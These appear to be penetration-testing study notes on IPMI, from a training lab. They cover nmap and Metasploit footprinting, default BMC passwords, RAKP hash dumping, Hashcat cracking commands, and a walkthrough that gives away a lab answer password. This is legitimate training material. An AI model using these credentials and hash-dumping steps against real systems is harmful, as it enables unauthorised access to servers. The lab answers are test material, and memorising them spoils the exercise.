IPMI [623]

Intelligent Platform Management Interface

chevron-rightBasicshashtag

Intelligent Platform Management Interfacearrow-up-right (IPMI) is a set of standardized specifications for hardware-based host management systems used for system management and monitoring. It acts as an autonomous subsystem and works independently of the host's BIOS, CPU, firmware, and underlying operating system. IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state. It operates using a direct network connection to the system's hardware and does not require access to the operating system via a login shell. IPMI can also be used for remote upgrades to systems without requiring physical access to the target host. IPMI is typically used in three ways:

  • Before the OS has booted to modify BIOS settings

  • When the host is fully powered down

  • Access to a host after a system failure

When not being used for these tasks, IPMI can monitor a range of different things such as system temperature, voltage, fan status, and power supplies. It can also be used for querying inventory information, reviewing hardware logs, and alerting using SNMP. The host system can be powered off, but the IPMI module requires a power source and a LAN connection to work correctly.

The IPMI protocol was first published by Intel in 1998 and is now supported by over 200 system vendors, including Cisco, Dell, HP, Supermicro, Intel, and more. Systems using IPMI version 2.0 can be administered via serial over LAN, giving sysadmins the ability to view serial console output in band. To function, IPMI requires the following components:

  • Baseboard Management Controller (BMC) - A micro-controller and essential component of an IPMI

  • Intelligent Chassis Management Bus (ICMB) - An interface that permits communication from one chassis to another

  • Intelligent Platform Management Bus (IPMB) - extends the BMC

  • IPMI Memory - stores things such as the system event log, repository store data, and more

  • Communications Interfaces - local system interfaces, serial and LAN interfaces, ICMB and PCI Management Bus

Footprinting the Service

chevron-rightNmaphashtag
z3tssu@htb[/htb]$ sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT
Nmap scan report for ilo.inlanfreight.local (172.16.2.2)
Host is up (0.00064s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp
| ipmi-version:
|   Version:
|     IPMI-2.0
|   UserAuth:
|   PassAuth: auth_user, non_null_user
|_  Level: 2.0
MAC Address: 14:03:DC:674:18:6A (Hewlett Packard Enterprise)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
chevron-rightMetasploithashtag
msf6 > use auxiliary/scanner/ipmi/ipmi_version 
msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options 

Module options (auxiliary/scanner/ipmi/ipmi_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS     10.129.42.195    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      623              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads


msf6 auxiliary(scanner/ipmi/ipmi_version) > run

[*] Sending IPMI requests to 10.129.42.195->10.129.42.195 (1 hosts)
[+] 10.129.42.195:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

During internal penetration tests, we often find BMCs where the administrators have not changed the default password. Some unique default passwords to keep in our cheatsheets include:

Product
Username
Password

Dell iDRAC

root

calvin

HP iLO

Administrator

randomized 8-character string consisting of numbers and uppercase letters

Supermicro IPMI

ADMIN

ADMIN

It is also essential to try out known default passwords for ANY services that we discover, as these are often left unchanged and can lead to quick wins. When dealing with BMCs, these default passwords may gain us access to the web console or even command line access via SSH or Telnet.

chevron-rightHashcathashtag

If default credentials do not work to access a BMC, we can turn to a flawarrow-up-right in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user's password to the client before authentication takes place.

This can be leveraged to obtain the password hash for ANY valid user account on the BMC. These password hashes can then be cracked offline using a dictionary attack using Hashcat mode 7300.

In the event of an HP iLO using a factory default password, we can use this Hashcat mask attack command hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u which tries all combinations of upper case letters and numbers for an eight-character password.

chevron-rightMetasploit - Dumping Passwordhashtag

To retrieve IPMI hashes, we can use the Metasploit IPMI 2.0 RAKP Remote SHA1 Password Hash Retrievalarrow-up-right module.

Metasploit Dumping Hashes

IPMI

msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes 
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options 

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name                 Current Setting                                                    Required  Description
   ----                 ---------------                                                    --------  -----------
   CRACK_COMMON         true                                                               yes       Automatically crack common passwords as they are obtained
   OUTPUT_HASHCAT_FILE                                                                     no        Save captured password hashes in hashcat format
   OUTPUT_JOHN_FILE                                                                        no        Save captured password hashes in john the ripper format
   PASS_FILE            /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt  yes       File containing common passwords for offline cracking, one per line
   RHOSTS               10.129.42.195                                                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                623                                                                yes       The target port
   THREADS              1                                                                  yes       The number of concurrent threads (max one per host)
   USER_FILE            /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt      yes       File containing usernames, one per line



msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run

[+] 10.129.42.195:623 - IPMI - Hash found: ADMIN:8e160d4802040000205ee9253b6b8dac3052c837e23faa631260719fce740d45c3139a7dd4317b9ea123456789abcdefa123456789abcdef140541444d494e:a3e82878a09daa8ae3e6c22f9080f8337fe0ed7e
[+] 10.129.42.195:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
chevron-rightHTB - Guidehashtag

IPMI

Question 1

"What username is configured for accessing the host via IPMI?"

After spawning the target machine, students need to launch msfconsole and use the ipmi_dumphashes module under auxiliary/scanner/ipmi/, setting RHOSTS to STMIP and then running the exploit; students will find that the admin username is configured for accessing the host via IPMI:

Code: shell

IPMI

Answer: {hidden}

IPMI

Question 2

"What is the account's cleartext password?"

Using the hash that was found from the ipmi_dumphashes module from msfconsole in the previous question, students need to crack it using Hashcat, specifying 7300 as the hashmode and rockyou.txt as the wordlist; students will find out that the plaintext password is trinity:

Code: shell

IPMI

Answer: {hidden}

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